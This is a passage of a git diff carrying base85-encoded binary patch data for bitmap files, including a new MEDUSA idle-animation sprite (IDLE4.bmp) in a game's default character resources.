z=Q?-o+#M7ceDlUYRb@2@-ho@UA^IK;F|g<((NS@KftB|3`}ZHDHbXrb=L7OQ5B(kqObw zz2n?@01B1^)pms>0&J(Knn)EngsU1?b7XXmAK<<-fG2xnZ$kqdG% z+Km;r)KyIU$w>iziFS!97IYNjwUH1q)73)xctr&VMd<1o zf#Fk8eR?nVR`xwi7Ac0#9S*3|NXOF%x63#sZ-v7tX|OvX9Sf6$24o1_iKK||$ljhl zFbBbj>+8Mt_|cQrma{i++z1biwlcw>9bMrofJn0#{tWB%*o>l`npvV@ROn#@%GuDu zyteE*J3DVgV2(49fXh{JFVZ4pt9TWtX(IWyG3SE6+FJ>ca(v_v7(|=M>3l7vd{RD^9=`;d+*3qia#LV6tCJV6=+A)cQ_=H2LhsMVyZV%kK zKloti!9z$S0QW+D3(hGF+(y_t)YUW=7954AV0obY8P=JJIRz_a^DsjtRaIkexuEd4 zL$TEitPHUcnbt%DkE5EzEH!erA~sg>`>mTy^c{{KX$Rx4@@U_s_KBX$lRe!tx2``M zytnl5(YxW{_ajuGE7Tz3mjEHeo}Ry?Kx`DutGAy)9eok(g#1OtUTOq&2b4Nz6d-R{sEP$`2k485tUb*9JtrbNeo64L}Tnspo1h z+yMf^O)#Cnv;aW{NngmA&=Aw$e#67h<`(6Ql$|n-o#RyOV-+G}lU0>)5T@NdGW-5s&?BU{PHq^5X^3JF#>8~rl(c3kB_0r_EzS+BXUOs&MZg}+b`1s2B zBq$u}1+D}5>R>eW_s$gNp6>4*e=xZCbYvOK32+xcFFhW9Gda1QlAJFjxp~JbrTzuA8FTwQJbrLN0oPPbgXbOi_u zPEO^CYUn>THGQG83-Y_PXQBQE>zk!_Dn=Sk8CpI?D)Md8EjY688J2 z%Sx$o7+UQzvfs|jyPrr1gMiA_i&H?<>wR+%AHD-*&lagsCy1C)?ZVm55Ky7HvlBDx z5Jeh&`YtZ2IPdT|2w=s=Wj$Y78=G8v_~bo2TXVd7zdW;oChH!4R_7dJe61d~ho_|Ss{+cp1 zvkI0l#0UW~MESvAnjHPyb7{2V=y@G|%gOloum7~v1=Nyvz{w4AMPY_zv`(AU#XO*sUt3py3#Fi`H|g)T@Eq#aJbcXu!< zG8(d9G_08!S*6A0u&uwrN~QR_j|R4edlmO8ImiTOD>=AuuyHZE#wd8jih9P1lcPj^ z;zjIS1o%Z5Ji@pg-S%zY^`n&Zo}$e5JGYl|a;mhojMdcjcJE|o^Oby>|2VT`%vTlH%HDFW1Iq)}8>?haakrUD+?ksB6Wn zsK+jo4>{_hjTCC@B+{naN+QP;%DKUja_5_ID-ah@;uEPcez6JLNfI@%?IQc+u z2tdzB&wBsvJx!K@maRHb^W^cQr9d z^c|CkSCWVY%EH2?ti0w_bNleb()6>nX=;FQ6&&K1uP7^P6d?2Tb1Kh|jZw;q&r8T{ z(K2VTb`jy1*@jKlaxc+xEz~9!XnGfE+a8eKC(ixm&D-$s@Q?$cAd-M@pFAE0odeD} ztsZ$g0s+(Tut-2g)2t9VZ98)o4%xsRK)-1d?Z91H@?l}5xOcrZyD$qOQcYElSyW%x zFICnvl+PnvkQB=27bl>mzgxqIg&fLFI>61%|AUg8(b>kKJGWoR zpHZqmw5aXq3EtQK^unyv)TZX<{gTpm?vKwsUk84Mn0`Y;TS{_v``O;X2NO>QC(fSk z?eCjUO03wg@RORsc6_LegetQcNy@)i8;lmO91YJbRo@~FU6fK?O_PCv5s=W((8$Zv zt02Fi`%3rC8@E8!jE;m$);<*-92P4=>V6U`W8!LLR-_L!NH{)*JpWo z#aUT*YHMimipfhw7m?~NlQRlL<&?q>hWPr1JbE;>@O%x#6R4o&50vy zLxoqAiHmoes-vt|yoCD!9%9How*y>WQG5y-J2Z`0h#?$!KXy|jvy_B<{fU9mv9(*b zr(&Xy#6^}N?MOfW@Z%2q%^$iW_=^3@P|4Qm@prkdvVl6Ex zmqUn<3RQ8L3huc|>V`~Qio7l`CXMqdz-5VhaY`_$o}Xo)lvi%3&zyc?CQ+S z$HbUYYiqoel!6=Kz&1uUWd&Vu=mf;J*^zgfr&XLt4AgY{#_`tEiK+$$i)WN6KZ_uB60%7h`Y z?qvTVKBgEf`kA?pvGFN_Lc+gn-a^Ol6BF|mR@QB>5}GQ8SGw;lyaKvX(~qEKAz*s3 zeHczu=B2eA@Xzq|NJ>e}i#V9d#6mBxwH@WZixA4CW3gREbtl?G*xXS_&48O6xnD(_ zySAY@ARy@e;9yL2?48?pq9S7;=t3rWHa0e;rKN$f2q%bwgM)9~yao7ZpuPnP?O$!g z^_5SndS=?l10sYtF>IWKYm6Yj1f9B{E;f=M@3RAdI(zSO3*4z~wp~zkE6$76(S-@) zu}wzp2Q^jWnFUC2tiJn1S$MvB@zTxg{F1-}At(&m#LSqFkJr@PcJU=_Q!p0cbi@Y~ z##LNg29NeH%e#2KX`;F6!NN2pH>+VY-6n+FPJ8lpLI{VHGJ~cuhl{_6p)H@0EkDYG z-_%m+cvXEwWE7;E0{jE}dix?}3;`mIRXK>P(O zO*{o1IH+u~-S?0tC80O_`>cJNX+d}pfl0vXqpNuWh!oon*k+C-+2cuLpDWgG6dWt)^z}&IudvnGiv>Yq#`v)D2yC&!aKRxQeOq38+%&_%m2E7JPU>`KLtvN>}(2y4<__kY9q$(2-N! zh*iUY(a45TM4rVQ&+QV(hVf)WlXp0gSg{@~HaIr+eOpcJSRLKAqRA|~xHg4{9R_d{ z)6~==SbgyXoeR_NO zBqbzOSJnWOE0?c~jEwvhQNO_o&AhDqpMUv9Op#Msms3WQLqu*T2NykrfwV1{FkYeBkwz^kTnic6r@8HH@V6%;bn-1l%2P6c}kDYjs-#bnb z3p*%YcDEQuN@D8cq2bu@#N4d>Q%$GqYa1GBPj;TY08xewh<_@9Y2Shz2L4`Ivvjg> ztg|Qex+{{ECG8|Fa;>rF@q}(y!euP6##$XI!n*4hb4LaexB@Y<)>zOy+sqtT1Vk9Q zc^P)^+Vf=i_2*S;UJ)|2Kr@Jc14>|Hi2MH)Tu4t-U4hv(C#1W&(GMsxogIORos-VM zoDJ*4h9d98`R>O0?!7AY-lA*mgtWm{s8 zI)@GDbJHcra`SEmcEWgb*yHIfF~1;OfB-vG4Vd@@w(97pySaHKC+D1~Y-#VfHE??t zyg3k35LFxd0(WM9eHygv%*w>f3RVBif>Zk$vTW6rz2Y)EF(f(!o_X&+IvHgK;2x9* zJJxS6))y`gtjA75oP?;cgoOHT-;;K(r;wNydu#`a(1~`rh;h4sbv=*9wIUG5%niac zR4rAS8cqQ?nzY?ONo#D{L=C2|ts5BY2#9V|L(4mNx;S(=xpX+&72BwKsfk-jh?#?q zkki5|FtgBsa<#*6ws&J8MoAyYwF)hCI9O=q5-Ox?@x8ppCJ~uU{31W>6WlB)%BH9+ zg>iPPZ|sDW)%5HNob{mY(YI9L3<)ie+n{Kl+<#+hg*33;Vv5+#&P6Y-L`Mu0^v|{k zDaM4AIfoWwLJAy13lW3@=WQHJh%`<7ISi^9fp0?-&N$&Z(2lK0WD~-n3E|jmk7;pm zJ&$r|un{s6tgNa6aDQaxul6v>gS>}-mxPY6O`ap7(bcKl8Q0}ZxPrm9qfpgI%OV@6 zN;I3`EJrxICxuWI+|NWhV~;xHfNn(_hG{CJC3HQd-0Cce7clq>&e)46 z$i3q(pxrNHeA`e$O59!NsYeHX$IMi$)J#rbNQ7!io_X&tMn<1MFPEhwSR#Vfzp%-&*^dWhsV!uhK`3`$GL32RkRWLIYAatZHP zYiXIRs~xPVM%3QHMz3VRiOu{$lUW zVo%r#8`_3IXM=-O&lWo@>u%0X#`c??$c!j5BbvnEL-jZcjR%G z@G_UsGMDgTT=)q$?|N?`LrE3}7Wfg!gmb$S<}3=^g~K!=5TUa6+1747 zF4zmsxJxeh9s;fhPrm1&=%*+yF8uz(2O2a$OeTi!ovwpC~=j74C1g11A4^*-{%@9f+)WzkTMYAAAoP!X7

Y@=|+bHUM17p zU|4ps)9u>373sp_MBZu-q$O;nkrvhi;39BaO&vBtG&a80BeK@xV6BHk7FxVR=TId}_tB0g$C8lclS*VZ{)jf6ef(@nZ5z;ZBhAbR{O0Igde$sTnv6nXbYNR4s4)rbr)S>ri>xZ6 zC7RKJ$OM8Kwk+&jClV8q#OxZW5KxG7PDJVw4Fohqxdd3`<$gg0@Ji_M^6nFW-(bPq zfI?sezFB%>iMN+?u{6#rGVgw%8SX^vB|8axkmUM{XMI7WthjTdvvYR29Wz{zGiu?q|0H@G) zdX}vmybPlI>6A6;tx*hUcX~$>qox@XC-2r>d$#ZhY!#7Ul#rztlingIzExP3O-zB8 zM{Ebb2)(2n7@bTAJQE?5(}<+Fm6ahg>tAV98beNuj9WU{h?=U);;l5|oU}t7RJEkk zjQRA*=0?_reV6}rN^JwqM&r-0(!PX+1a(9!v@>yCofmfrb4ggpDmsWb#LJ@+h0&q= z5P=*Hf$XS&T`1q}AZUPB<<%H?`00`0D0tJ`6X4hgy&aBf>mteY7APhi^KFWnTjka0 zRSekGjdp1n(V5!P+2dFsfaUDNf+B502eTV_%5%!{De5XM{PrhgG`9Tw@l(_3Q*r5u zF^7|`U%Roq^ycA%$D@y^9uAa0vM%jD)PIe2qYJG;V{ekTr!+=cm#8YB$fam0YUU&A z6v>AU<#q_zZSS?+fy{z%V{r7`Ca+Gvci$ER%k54iW(PNVJCIXYkihf^S2|nVkJupI zh(fEl6WHiVtnXoUJ0dgEg^?U3iSl5@hVg6TWw>Rz1@r~;3iDuS+PE8&`5P$E=Xb(r z<0)F>A7h0<;7zXL@{CpO_6aF+2+Hk|G2+y;=Qeg`x5DqV!S1lcFk9hR zl(e=pGH&7Iq0=#CED$@T;JNOl(XS;kY-IAODpVr_J|&ssAxu zX@k(%X#f4RcmCWVzP?9=m0Vx9^H=^4z_yu2= z_J0BQyJ!DHtlv(dq^MLzRery@pmCstQ;Zlck{c7m=HSVUAi^O3R3IT9Js zWU6j~?aRTwWz!FvxTScwm3akpgr&?Rl^m2c2pXCMO>KK^Jkh1|9MuMZLOXOwYyV%> z|2bCbM83waAi7nUTV!l$DxxYNZm?6^iQCqb59QB;^5b#v;|Hb=4Pn6k(yvj|JD z@Ca_<;@yl!IaSxzX5}79NKK4Oj*m}C%*o4bJ<~P=XGp#j+7|r3!uRca{wu7s7tsE% z1GM&yYqz2!25Gb`}3 zV44N=<^OE}xlo86&}w+e|E(DM(*^k7ux`8(7!PK>@$s)3zgd{S>h%BZ{-#a;53?$0 ASO5S3 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cd63e92a719c98ce7e2c2f21904b6eded2691da6 GIT binary patch literal 18462 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 